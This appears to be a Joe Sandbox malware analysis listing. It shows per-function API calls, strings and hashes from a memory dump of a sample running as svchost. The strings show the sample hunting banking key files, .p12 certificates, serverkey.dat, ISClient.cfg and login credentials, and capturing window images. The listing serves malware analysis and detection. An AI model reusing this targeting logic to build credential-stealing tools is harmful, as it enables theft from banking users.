                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$Window$Heap$CloseDesktopProcess$InformationPathShell$Creatememset$AppendFolderSleepThread$AllocFindFreeOpenQueryValidateValue
                                                                                                                                                                                                            • String ID: D$D$Shell_TrayWnd$a3b7feb4a$explorer.exe
                                                                                                                                                                                                            • API String ID: 3365957849-1320494549
                                                                                                                                                                                                            • Opcode ID: 25377f65ede9344564b50cbeeefb0eef058c88b3fc1661f27e9b873cda6a6d43
                                                                                                                                                                                                            • Instruction ID: 3289a26ea51e053fe0d5236e2e7dd29c383242d5fdd3e325c7c6768d839dba38
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 25377f65ede9344564b50cbeeefb0eef058c88b3fc1661f27e9b873cda6a6d43
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D6B1ADB5940341AFD7109F64A8D8BAB7BE8BB88658F404D2DF989C2390D7B49C14CF61
                                                                                                                                                                                                            Function 02D227C0 Relevance: 63.4, APIs: 27, Strings: 9, Instructions: 376COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D227DE
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D227F8
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 02D22822
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C5901AC), ref: 02D22847
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(00000000,00000000), ref: 02D22887
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D22891
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D22899
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(00000000), ref: 02D228AA
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D228B1
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(00000000), ref: 02D228F4
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(00000000), ref: 02D22940
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C5901AC,00000000,00000000), ref: 02D22987
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashDirectoryErrorFileLastmemset$AdminAttributesCreateCurrentFolderMakeModuleNameSystemUser
                                                                                                                                                                                                            • String ID: 5C5901AC$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$\$\SIGN1\$client.zip$keys.zip$path_client.txt$path_keys.txt$\t
                                                                                                                                                                                                            • API String ID: 1576442920-3984120252
                                                                                                                                                                                                            • Opcode ID: 0d31358d0b87f8d41b69599a93b23f22d8974175e1fd6eb2aa5076e84f8a03a1
                                                                                                                                                                                                            • Instruction ID: 085898cdbf69314f56d9e7cbaff334a4c2c0b52b978f1f28518dd1df6ea02feb
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0d31358d0b87f8d41b69599a93b23f22d8974175e1fd6eb2aa5076e84f8a03a1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 72D122349482658FDB218F24A86CBEA7BE5EF65308F148595ECC5DB340DB719E8CCB90
                                                                                                                                                                                                            Function 02D23B90 Relevance: 58.1, APIs: 24, Strings: 9, Instructions: 364sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • FindWindowW.USER32(00000000,02D4A918), ref: 02D23BA8
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D23BB9
                                                                                                                                                                                                            • FindWindowW.USER32(00000000,02D4A918), ref: 02D23BC2
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02D23BD6
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,core.exe), ref: 02D23BEE
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 02D23C19
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,\data\id.dbf), ref: 02D23C4F
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D19C), ref: 02D23C77
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D23CB5
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D23CBF
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D23CC7
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D23CD8
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D23CDF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$ErrorFileFindLastWindow$AdminBackslashCreateDirectoryExistsFolderMakeModuleNameSleepSystemUser
                                                                                                                                                                                                            • String ID: Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$\data\id.dbf$core.exe$data\id.dbf$keys%i.zip$keys.zip$path%i.txt$path.txt$\t
                                                                                                                                                                                                            • API String ID: 109093349-1979414145
                                                                                                                                                                                                            • Opcode ID: 79618e09da78164f3b7b9664c066bc5c4b23804891439f05e5cd7febef7de7ee
                                                                                                                                                                                                            • Instruction ID: f2f819aaf91fb36b3a9bc49b57195fccfb32b445fda70c00340d113fee3b7520
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 79618e09da78164f3b7b9664c066bc5c4b23804891439f05e5cd7febef7de7ee
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 20C14B34A0426A9FDB16CF38A868BEA7BE5AF59304F5449D4E886D7340DB70DD4CCB90
                                                                                                                                                                                                            Function 02D1E1B0 Relevance: 58.1, APIs: 24, Strings: 9, Instructions: 346fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1E1CF
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1E1F1
                                                                                                                                                                                                            • GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02D1E206
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(00000001), ref: 02D1E21F
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(?), ref: 02D1E268
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02D1E27B
                                                                                                                                                                                                            • FindFirstFileA.KERNEL32(?,?), ref: 02D1E2DD
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(?), ref: 02D1E5F3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: DriveErrorModememset$CurrentDirectoryFileFindFirstLogicalStringsType
                                                                                                                                                                                                            • String ID: *.00*$.txt$.zip$5C5905E0$asus$found.$keys$path$\t
                                                                                                                                                                                                            • API String ID: 989413159-2416317930
                                                                                                                                                                                                            • Opcode ID: 8e8ee20fbae7461b659c71302d92c0bfe7a97e06ee7c678d9e1c7b0fc7755cba
                                                                                                                                                                                                            • Instruction ID: 934c2b5e108dccba3e4b4226edc55f3a7e43470629c7ee3de48d85d93e8cd1f6
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8e8ee20fbae7461b659c71302d92c0bfe7a97e06ee7c678d9e1c7b0fc7755cba
                                                                                                                                                                                                            • Instruction Fuzzy Hash: EAC1CE345083469FD725CF34A468BABBBE5AF99304F548A5DE8CAC7340EB31D908CB91
                                                                                                                                                                                                            Function 02D0CBF0 Relevance: 54.6, APIs: 29, Strings: 2, Instructions: 342windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02D0CC4A
                                                                                                                                                                                                            • IsIconic.USER32(?), ref: 02D0CC55
                                                                                                                                                                                                            • GetWindowInfo.USER32(?,?), ref: 02D0CCB2
                                                                                                                                                                                                            • GetAncestor.USER32(?,00000003,?,75A8BCB0,75A73EB0), ref: 02D0CCD7
                                                                                                                                                                                                            • GetWindow.USER32(?,00000003), ref: 02D0CD50
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02D0CD78
                                                                                                                                                                                                            • IsIconic.USER32(?), ref: 02D0CD83
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0CDB2
                                                                                                                                                                                                            • GetWindow.USER32(?,00000005), ref: 02D0CDD6
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02D0CDD9
                                                                                                                                                                                                              • Part of subcall function 02D0DA30: GetClassNameA.USER32(?,?,00000101), ref: 02D0DA46
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$Iconic$AncestorClassInfoNamememset
                                                                                                                                                                                                            • String ID: <$<
                                                                                                                                                                                                            • API String ID: 3351429209-213342407
                                                                                                                                                                                                            • Opcode ID: fdc1973a6cfdde1b5709d651730ecffa22645d5600d15626a140c56fcc354707
                                                                                                                                                                                                            • Instruction ID: b5a0a541bc85e4ddbb399d82e790afe4704cae5e37d4762c8f432da5be745693
                                                                                                                                                                                                            • Opcode Fuzzy Hash: fdc1973a6cfdde1b5709d651730ecffa22645d5600d15626a140c56fcc354707
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 10D18D75D10218ABDB20DFA8D888BAEBBB9EF44714F14425AE505A73E0DB749D41CFA0
                                                                                                                                                                                                            Function 02D01170 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 203memorythreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0118E
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,7591F570), ref: 02D011AD
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,java), ref: 02D011C5
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,.exe), ref: 02D011DB
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,.p12,00000000), ref: 02D011FF
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02D01221
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02D0123E
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D01245
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D01255
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02D01271
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1AFC0,00000000,00000000,00000000), ref: 02D01285
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,serverkey.dat,00000000), ref: 02D012A4
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02D012D5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02D012F2
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D012F9
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D01309
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02D01325
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1E630,00000000,00000000,00000000), ref: 02D01339
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D1FCA0,00000000,00000000,00000000), ref: 02D01376
                                                                                                                                                                                                              • Part of subcall function 02D1AF10: PathAddBackslashA.SHLWAPI(5c590506), ref: 02D1AF37
                                                                                                                                                                                                              • Part of subcall function 02D1AF10: PathFileExistsA.SHLWAPI(?), ref: 02D1AFA0
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D0138E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D0139F
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ByteCharHeapMultiWide$CreateThreadmemset$AllocFileHandlePathProcess$BackslashCloseExistsInformationModuleName
                                                                                                                                                                                                            • String ID: .exe$.p12$java$serverkey.dat
                                                                                                                                                                                                            • API String ID: 183229269-3502489836
                                                                                                                                                                                                            • Opcode ID: 7090ae3a4e52a323c5fd86102dc38817a48da897b706f47d53e5f9aa2dd45b46
                                                                                                                                                                                                            • Instruction ID: 88dad07d811efe6e4551ad264bbb4fcc6dcbdf08f7af077b741ea3752d366fb7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7090ae3a4e52a323c5fd86102dc38817a48da897b706f47d53e5f9aa2dd45b46
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E351D675A853257BEB305A61AC89FEB3B5C9F15B64F544204BD4CA93C0DBA0DC44CAF0
                                                                                                                                                                                                            Function 02D198E0 Relevance: 43.9, APIs: 23, Strings: 2, Instructions: 161threadnetworkCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ExitThread$Startupsocket
                                                                                                                                                                                                            • String ID: login$pass
                                                                                                                                                                                                            • API String ID: 1705285421-2248183487
                                                                                                                                                                                                            • Opcode ID: 2fbcebddaa65303176f9d699564ffd3ae3c81141ade9034ace3caa6bbfba468e
                                                                                                                                                                                                            • Instruction ID: aa6fee45ebaf7764d8d3dccaee91b9ea2c6da75396af06c20f93fcba86877c8a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2fbcebddaa65303176f9d699564ffd3ae3c81141ade9034ace3caa6bbfba468e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2C518D39988300AFD304DF64E898BAABBF5BB89721F404A1DFA65873D0D7709D14CB52
                                                                                                                                                                                                            Function 02D1C900 Relevance: 40.5, APIs: 17, Strings: 6, Instructions: 248COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02D24800: memset.MSVCRT ref: 02D24824
                                                                                                                                                                                                              • Part of subcall function 02D24800: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02D2482F
                                                                                                                                                                                                            • OpenProcess.KERNEL32(001FFFFF,00000000,00000000,ctunnel.exe,?,74E17390,?), ref: 02D1C92C
                                                                                                                                                                                                            • GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 02D1C94B
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1C95D
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1C96E
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590552), ref: 02D1C997
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1C9D1
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1C9DB
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1C9E3
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1C9F4
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1C9FB
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02D1CA31
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02D1CA70
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590552,?,?), ref: 02D1CAB7
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590552,ctunnel.exe,?,74E17390,?), ref: 02D1CB97
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 02D1CBF9
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashFile$CreateDirectoryErrorHandleLast$AdminAttributesCloseCurrentExistsFolderInformationMakeModuleNameOpenProcessSnapshotSystemToolhelp32Usermemset
                                                                                                                                                                                                            • String ID: 5C590552$\$ctunnel.exe$ctunnel.zip$pass.log$path_ctunnel.txt
                                                                                                                                                                                                            • API String ID: 3886636124-789741791
                                                                                                                                                                                                            • Opcode ID: efcc4084f0af05dca3ff0ec02f57c991c26704f612c4d806104e2174066ae087
                                                                                                                                                                                                            • Instruction ID: 112b0ebcfdaa2fd0fec2c8c7e73a47ad13c54b9f88a105413bffa83316b3cde4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: efcc4084f0af05dca3ff0ec02f57c991c26704f612c4d806104e2174066ae087
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 759103349882599FDB12CF24B868BEA7BE4AF45300F2485D6E8CAD7341DB719D48CB91
                                                                                                                                                                                                            Function 02D0CE19 Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 171windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsWindow.USER32(00000000), ref: 02D0CE28
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0CE6B
                                                                                                                                                                                                            • GetWindowRect.USER32(00000000,00000000), ref: 02D0CE7B
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000,000000F0), ref: 02D0CE95
                                                                                                                                                                                                            • GetScrollBarInfo.USER32(00000000,000000FA,?,?,75A8BCB0,75A73EB0), ref: 02D0CEB0
                                                                                                                                                                                                            • GetScrollBarInfo.USER32(00000000,000000FB,0000003C,?,75A8BCB0,75A73EB0), ref: 02D0CEDD
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02D0CF15
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02D0CF18
                                                                                                                                                                                                            • IsIconic.USER32(00000000), ref: 02D0CE37
                                                                                                                                                                                                              • Part of subcall function 02D0C780: IsWindow.USER32(00000000), ref: 02D0C79D
                                                                                                                                                                                                              • Part of subcall function 02D0C780: IsWindowVisible.USER32(00000000), ref: 02D0C7AC
                                                                                                                                                                                                              • Part of subcall function 02D0C780: GetWindowRect.USER32(00000000,?), ref: 02D0C7E9
                                                                                                                                                                                                              • Part of subcall function 02D0C780: GetClassLongA.USER32(00000000,000000E6), ref: 02D0C7F2
                                                                                                                                                                                                              • Part of subcall function 02D0C780: PrintWindow.USER32(00000000,?,00000000,?,?,75A73EB0,?,?,?,02D090B9), ref: 02D0C805
                                                                                                                                                                                                              • Part of subcall function 02D0C780: RedrawWindow.USER32(00000000,00000000,00000000,00000485,00000000,?,?,?,75A73EB0,?,?,?,02D090B9), ref: 02D0C82B
                                                                                                                                                                                                              • Part of subcall function 02D0C780: CreateRectRgn.GDI32(?,?,02D090B9,?), ref: 02D0C841
                                                                                                                                                                                                              • Part of subcall function 02D0C780: GetWindowRgn.USER32(00000000,00000000), ref: 02D0C84B
                                                                                                                                                                                                              • Part of subcall function 02D0C780: OffsetRgn.GDI32(00000000,?,?), ref: 02D0C865
                                                                                                                                                                                                              • Part of subcall function 02D0C780: SelectClipRgn.GDI32(?,00000000), ref: 02D0C870
                                                                                                                                                                                                              • Part of subcall function 02D0C780: BitBlt.GDI32(?,?,?,02D090B9,?,?,00000000,00000000,00CC0020), ref: 02D0C899
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02D0CF3E
                                                                                                                                                                                                            • IsIconic.USER32(?), ref: 02D0CF4D
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0CF7E
                                                                                                                                                                                                            • GetWindowRect.USER32(?,00000000), ref: 02D0CF8B
                                                                                                                                                                                                            • GetWindowLongA.USER32(?,000000F0), ref: 02D0CFA2
                                                                                                                                                                                                            • GetScrollBarInfo.USER32(?,000000FA,0000003C,?,75A8BCB0,75A73EB0), ref: 02D0CFCD
                                                                                                                                                                                                            • GetScrollBarInfo.USER32(?,000000FB,0000003C,?,75A8BCB0,75A73EB0), ref: 02D0D005
                                                                                                                                                                                                            • GetWindow.USER32(?,00000005), ref: 02D0D042
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02D0D045
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$InfoRectScroll$Long$Iconicmemset$ClassClipCreateOffsetPrintRedrawSelectVisible
                                                                                                                                                                                                            • String ID: <$<
                                                                                                                                                                                                            • API String ID: 3463799249-213342407
                                                                                                                                                                                                            • Opcode ID: 0069a15caf15f3b2a8cc9d470c27bfe1577d73ff07a771a7874ad63536400051
                                                                                                                                                                                                            • Instruction ID: 840669515118432bae92f5f555933b5c5bfe4db805352dd88f5e5129e8e790c1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0069a15caf15f3b2a8cc9d470c27bfe1577d73ff07a771a7874ad63536400051
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BA611575D012189BDB24DFA8D888BDEBBB9EF48314F14425AE408A7390DB746E45CF61
                                                                                                                                                                                                            Function 02D221E0 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 165stringsynchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02D22210
                                                                                                                                                                                                            • PathFindFileNameA.SHLWAPI(?), ref: 02D2221D
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(ISClient.cfg), ref: 02D22232
                                                                                                                                                                                                              • Part of subcall function 02D07220: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,a3b7fb16a,76EDC3F0,?,?,02D122F0,00000000,00000001), ref: 02D07246
                                                                                                                                                                                                              • Part of subcall function 02D07220: GetFileSizeEx.KERNEL32(00000000,?,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D07264
                                                                                                                                                                                                              • Part of subcall function 02D07220: GetProcessHeap.KERNEL32(00000008,?,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D0728D
                                                                                                                                                                                                              • Part of subcall function 02D07220: RtlAllocateHeap.NTDLL(00000000,?,?,02D122F0,00000000,00000001,?,7591F550,00000000), ref: 02D07294
                                                                                                                                                                                                              • Part of subcall function 02D07220: memset.MSVCRT ref: 02D072A7
                                                                                                                                                                                                              • Part of subcall function 02D07220: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D072D3
                                                                                                                                                                                                              • Part of subcall function 02D07220: LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D072E3
                                                                                                                                                                                                              • Part of subcall function 02D07220: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 02D072F2
                                                                                                                                                                                                              • Part of subcall function 02D07220: UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D07305
                                                                                                                                                                                                              • Part of subcall function 02D07220: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D07314
                                                                                                                                                                                                              • Part of subcall function 02D07220: HeapValidate.KERNEL32(00000000), ref: 02D0731B
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,GKUZ=,?,00000000,00000001), ref: 02D2227D
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D2229D
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D222AF
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF777BF-8989-4fe1-9A0D-95CD777C0214}), ref: 02D222DE
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D222EF
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D222F6
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D22308
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D22319
                                                                                                                                                                                                            • GetPrivateProfileStringA.KERNEL32(General,DefaultPrivateDir,00000000,?,00000104,?), ref: 02D22367
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 02D2237E
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 02D22387
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
